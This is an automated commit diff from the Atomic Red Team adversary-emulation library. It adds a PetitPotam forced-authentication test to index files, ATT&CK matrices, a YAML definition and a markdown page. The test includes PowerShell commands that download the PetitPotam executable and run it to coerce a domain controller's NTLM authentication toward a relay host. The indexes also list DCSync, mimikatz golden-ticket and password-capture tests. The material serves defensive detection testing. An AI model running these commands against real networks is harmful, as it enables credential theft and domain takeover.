Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci]

This commit is contained in:
CircleCI Atomic Red Team doc generator
2021-09-10 15:47:32 +00:00
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@@ -24,6 +24,7 @@ credential-access,T1555.003,Credentials from Web Browsers,3,LaZagne - Credential
credential-access,T1552.002,Credentials in Registry,1,Enumeration for Credentials in Registry,b6ec082c-7384-46b3-a111-9a9b8b14e5e7,command_prompt
credential-access,T1552.002,Credentials in Registry,2,Enumeration for PuTTY Credentials in Registry,af197fd7-e868-448e-9bd5-05d1bcd9d9e5,command_prompt
credential-access,T1003.006,DCSync,1,DCSync (Active Directory),129efd28-8497-4c87-a1b0-73b9a870ca3e,command_prompt
credential-access,T1187,Forced Authentication,1,PetitPotam,485ce873-2e65-4706-9c7e-ae3ab9e14213,powershell
credential-access,T1056.002,GUI Input Capture,1,AppleScript - Prompt User for Password,76628574-0bc1-4646-8fe2-8f4427b47d15,bash
credential-access,T1056.002,GUI Input Capture,2,PowerShell - Prompt User for Password,2b162bfd-0928-4d4c-9ec3-4d9f88374b52,powershell
credential-access,T1558.001,Golden Ticket,1,Crafting Active Directory golden tickets with mimikatz,9726592a-dabc-4d4d-81cd-44070008b3af,powershell
1 Tactic Technique # Technique Name Test # Test Name Test GUID Executor Name
24 credential-access T1552.002 Credentials in Registry 1 Enumeration for Credentials in Registry b6ec082c-7384-46b3-a111-9a9b8b14e5e7 command_prompt
25 credential-access T1552.002 Credentials in Registry 2 Enumeration for PuTTY Credentials in Registry af197fd7-e868-448e-9bd5-05d1bcd9d9e5 command_prompt
26 credential-access T1003.006 DCSync 1 DCSync (Active Directory) 129efd28-8497-4c87-a1b0-73b9a870ca3e command_prompt
27 credential-access T1187 Forced Authentication 1 PetitPotam 485ce873-2e65-4706-9c7e-ae3ab9e14213 powershell
28 credential-access T1056.002 GUI Input Capture 1 AppleScript - Prompt User for Password 76628574-0bc1-4646-8fe2-8f4427b47d15 bash
29 credential-access T1056.002 GUI Input Capture 2 PowerShell - Prompt User for Password 2b162bfd-0928-4d4c-9ec3-4d9f88374b52 powershell
30 credential-access T1558.001 Golden Ticket 1 Crafting Active Directory golden tickets with mimikatz 9726592a-dabc-4d4d-81cd-44070008b3af powershell
@@ -13,6 +13,7 @@ credential-access,T1555.003,Credentials from Web Browsers,3,LaZagne - Credential
credential-access,T1552.002,Credentials in Registry,1,Enumeration for Credentials in Registry,b6ec082c-7384-46b3-a111-9a9b8b14e5e7,command_prompt
credential-access,T1552.002,Credentials in Registry,2,Enumeration for PuTTY Credentials in Registry,af197fd7-e868-448e-9bd5-05d1bcd9d9e5,command_prompt
credential-access,T1003.006,DCSync,1,DCSync (Active Directory),129efd28-8497-4c87-a1b0-73b9a870ca3e,command_prompt
credential-access,T1187,Forced Authentication,1,PetitPotam,485ce873-2e65-4706-9c7e-ae3ab9e14213,powershell
credential-access,T1056.002,GUI Input Capture,2,PowerShell - Prompt User for Password,2b162bfd-0928-4d4c-9ec3-4d9f88374b52,powershell
credential-access,T1558.001,Golden Ticket,1,Crafting Active Directory golden tickets with mimikatz,9726592a-dabc-4d4d-81cd-44070008b3af,powershell
credential-access,T1552.006,Group Policy Preferences,1,GPP Passwords (findstr),870fe8fb-5e23-4f5f-b89d-dd7fe26f3b5f,command_prompt
1 Tactic Technique # Technique Name Test # Test Name Test GUID Executor Name
13 credential-access T1552.002 Credentials in Registry 1 Enumeration for Credentials in Registry b6ec082c-7384-46b3-a111-9a9b8b14e5e7 command_prompt
14 credential-access T1552.002 Credentials in Registry 2 Enumeration for PuTTY Credentials in Registry af197fd7-e868-448e-9bd5-05d1bcd9d9e5 command_prompt
15 credential-access T1003.006 DCSync 1 DCSync (Active Directory) 129efd28-8497-4c87-a1b0-73b9a870ca3e command_prompt
16 credential-access T1187 Forced Authentication 1 PetitPotam 485ce873-2e65-4706-9c7e-ae3ab9e14213 powershell
17 credential-access T1056.002 GUI Input Capture 2 PowerShell - Prompt User for Password 2b162bfd-0928-4d4c-9ec3-4d9f88374b52 powershell
18 credential-access T1558.001 Golden Ticket 1 Crafting Active Directory golden tickets with mimikatz 9726592a-dabc-4d4d-81cd-44070008b3af powershell
19 credential-access T1552.006 Group Policy Preferences 1 GPP Passwords (findstr) 870fe8fb-5e23-4f5f-b89d-dd7fe26f3b5f command_prompt
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@@ -42,7 +42,8 @@
- Atomic Test #1: DCSync (Active Directory) [windows]
- T1556.001 Domain Controller Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- T1187 Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1187 Forced Authentication](../../T1187/T1187.md)
- Atomic Test #1: PetitPotam [windows]
- T1606 Forge Web Credentials [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1056.002 GUI Input Capture](../../T1056.002/T1056.002.md)
- Atomic Test #1: AppleScript - Prompt User for Password [macos]
@@ -27,7 +27,8 @@
- Atomic Test #1: DCSync (Active Directory) [windows]
- T1556.001 Domain Controller Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- T1187 Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1187 Forced Authentication](../../T1187/T1187.md)
- Atomic Test #1: PetitPotam [windows]
- T1606 Forge Web Credentials [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- [T1056.002 GUI Input Capture](../../T1056.002/T1056.002.md)
- Atomic Test #2: PowerShell - Prompt User for Password [windows]
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| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | JavaScript [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [COR_PROFILER](../../T1574.012/T1574.012.md) | Cloud Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [DCSync](../../T1003.006/T1003.006.md) | Internet Connection Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | SSH [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | External Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Inhibit System Recovery](../../T1490/T1490.md) |
| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](../../T1569.001/T1569.001.md) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Change Default File Association](../../T1546.001/T1546.001.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Controller Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Account](../../T1087.001/T1087.001.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Traffic Duplication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Internal Defacement](../../T1491.001/T1491.001.md) |
| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchd](../../T1053.004/T1053.004.md) | [Browser Extensions](../../T1176/T1176.md) | Cloud Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing Policy Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Groups](../../T1069.001/T1069.001.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fast Flux DNS [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Malicious File](../../T1204.002/T1204.002.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | Component Object Model Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compile After Delivery](../../T1027.004/T1027.004.md) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](../../T1046/T1046.md) | [Software Deployment Tools](../../T1072/T1072.md) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | File Transfer Protocols [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | OS Exhaustion Flood [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Malicious File](../../T1204.002/T1204.002.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | Component Object Model Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compile After Delivery](../../T1027.004/T1027.004.md) | [Forced Authentication](../../T1187/T1187.md) | [Network Service Scanning](../../T1046/T1046.md) | [Software Deployment Tools](../../T1072/T1072.md) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | File Transfer Protocols [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | OS Exhaustion Flood [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Malicious Image [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Change Default File Association](../../T1546.001/T1546.001.md) | [Container Orchestration Job](../../T1053.007/T1053.007.md) | [Compiled HTML File](../../T1218.001/T1218.001.md) | Forge Web Credentials [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](../../T1135/T1135.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Email Forwarding Rule [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Ingress Tool Transfer](../../T1105/T1105.md) | Reflection Amplification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| | Malicious Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Cloud Account](../../T1136.003/T1136.003.md) | [Create Process with Token](../../T1134.002/T1134.002.md) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [GUI Input Capture](../../T1056.002/T1056.002.md) | [Network Sniffing](../../T1040/T1040.md) | Use Alternate Authentication Material [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [GUI Input Capture](../../T1056.002/T1056.002.md) | | [Internal Proxy](../../T1090.001/T1090.001.md) | [Resource Hijacking](../../T1496/T1496.md) |
| | [Native API](../../T1106/T1106.md) | Cloud Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Create or Modify System Process [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Control Panel](../../T1218.002/T1218.002.md) | [Golden Ticket](../../T1558.001/T1558.001.md) | [Password Policy Discovery](../../T1201/T1201.md) | VNC [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Input Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Junk Data [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
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| Phishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Malicious Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Windows Event Logs](../../T1070.001/T1070.001.md) | [DCSync](../../T1003.006/T1003.006.md) | [Local Groups](../../T1069.001/T1069.001.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Disk Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Native API](../../T1106/T1106.md) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Controller Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](../../T1046/T1046.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration over USB [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| [Spearphishing Attachment](../../T1566.001/T1566.001.md) | [PowerShell](../../T1059.001/T1059.001.md) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Bypass User Account Control](../../T1548.002/T1548.002.md) | Code Signing Policy Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](../../T1135/T1135.md) | [SMB/Windows Admin Shares](../../T1021.002/T1021.002.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration to Cloud Storage [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dynamic Resolution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | External Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Python [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](../../T1176/T1176.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Compile After Delivery](../../T1027.004/T1027.004.md) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](../../T1040/T1040.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Encrypted Channel](../../T1573/T1573.md) | Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Python [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](../../T1176/T1176.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Compile After Delivery](../../T1027.004/T1027.004.md) | [Forced Authentication](../../T1187/T1187.md) | [Network Sniffing](../../T1040/T1040.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Encrypted Channel](../../T1573/T1573.md) | Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scheduled Task](../../T1053.005/T1053.005.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Change Default File Association](../../T1546.001/T1546.001.md) | [Compiled HTML File](../../T1218.001/T1218.001.md) | Forge Web Credentials [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Policy Discovery](../../T1201/T1201.md) | [Software Deployment Tools](../../T1072/T1072.md) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | External Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Inhibit System Recovery](../../T1490/T1490.md) |
| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Change Default File Association](../../T1546.001/T1546.001.md) | Component Object Model Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [GUI Input Capture](../../T1056.002/T1056.002.md) | [Peripheral Device Discovery](../../T1120/T1120.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Email Forwarding Rule [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Internal Defacement](../../T1491.001/T1491.001.md) |
| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Create Process with Token](../../T1134.002/T1134.002.md) | [Control Panel](../../T1218.002/T1218.002.md) | [Golden Ticket](../../T1558.001/T1558.001.md) | Permission Groups Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Use Alternate Authentication Material [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [GUI Input Capture](../../T1056.002/T1056.002.md) | | Fast Flux DNS [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
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@@ -1819,7 +1819,53 @@ credential-access:
x_mitre_platforms:
- Windows
x_mitre_is_subtechnique: false
atomic_tests: []
identifier: T1187
atomic_tests:
- name: PetitPotam
auto_generated_guid: 485ce873-2e65-4706-9c7e-ae3ab9e14213
description: 'This module runs the Windows executable of PetitPotam in order
to coerce authentication for a remote system.
'
supported_platforms:
- windows
input_arguments:
captureServerIP:
description: Computer IP to use to receive the authentication (ex. attacker
machine used for NTLM relay)
type: string
default: 10.0.0.3
targetServerIP:
description: Computer IP to force authentication from (ex. domain controller)
type: string
default: 10.0.0.2
efsApi:
description: EFS API to use to coerce authentication
type: string
default: 1
petitpotam_path:
description: PetitPotam Windows executable
type: path
default: "$env:TEMP\\PetitPotam.exe"
dependency_executor_name: powershell
dependencies:
- description: |
PetitPotam binary must exist on disk and at specified location (#{petitpotam_path}).
And the computer must be domain joined (implicit authentication).
prereq_command: 'if (Test-Path "#{petitpotam_path}") { exit 0 } else { exit
1 }
'
get_prereq_command: 'Invoke-WebRequest "https://github.com/topotam/PetitPotam/blob/2ae559f938e67d0cd59c5afcaac67672b9ef2981/PetitPotam.exe?raw=true"
-OutFile "#{petitpotam_path}"
'
executor:
name: powershell
elevation_required: false
command: |
& "#{petitpotam_path}" #{captureServerIP} #{targetServerIP} #{efsApi}
Write-Host "End of PetitPotam attack"
T1606:
technique:
external_references:
+70
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@@ -0,0 +1,70 @@
# T1187 - Forced Authentication
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1187)
<blockquote>Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.
The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.
Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)
Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)
There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:
* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)
* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\[remote address]\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)</blockquote>
## Atomic Tests
- [Atomic Test #1 - PetitPotam](#atomic-test-1---petitpotam)
<br/>
## Atomic Test #1 - PetitPotam
This module runs the Windows executable of PetitPotam in order to coerce authentication for a remote system.
**Supported Platforms:** Windows
**auto_generated_guid:** 485ce873-2e65-4706-9c7e-ae3ab9e14213
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| captureServerIP | Computer IP to use to receive the authentication (ex. attacker machine used for NTLM relay) | string | 10.0.0.3|
| targetServerIP | Computer IP to force authentication from (ex. domain controller) | string | 10.0.0.2|
| efsApi | EFS API to use to coerce authentication | string | 1|
| petitpotam_path | PetitPotam Windows executable | path | $env:TEMP&#92;PetitPotam.exe|
#### Attack Commands: Run with `powershell`!
```powershell
& "#{petitpotam_path}" #{captureServerIP} #{targetServerIP} #{efsApi}
Write-Host "End of PetitPotam attack"
```
#### Dependencies: Run with `powershell`!
##### Description: PetitPotam binary must exist on disk and at specified location (#{petitpotam_path}).
And the computer must be domain joined (implicit authentication).
##### Check Prereq Commands:
```powershell
if (Test-Path "#{petitpotam_path}") { exit 0 } else { exit 1 }
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://github.com/topotam/PetitPotam/blob/2ae559f938e67d0cd59c5afcaac67672b9ef2981/PetitPotam.exe?raw=true" -OutFile "#{petitpotam_path}"
```
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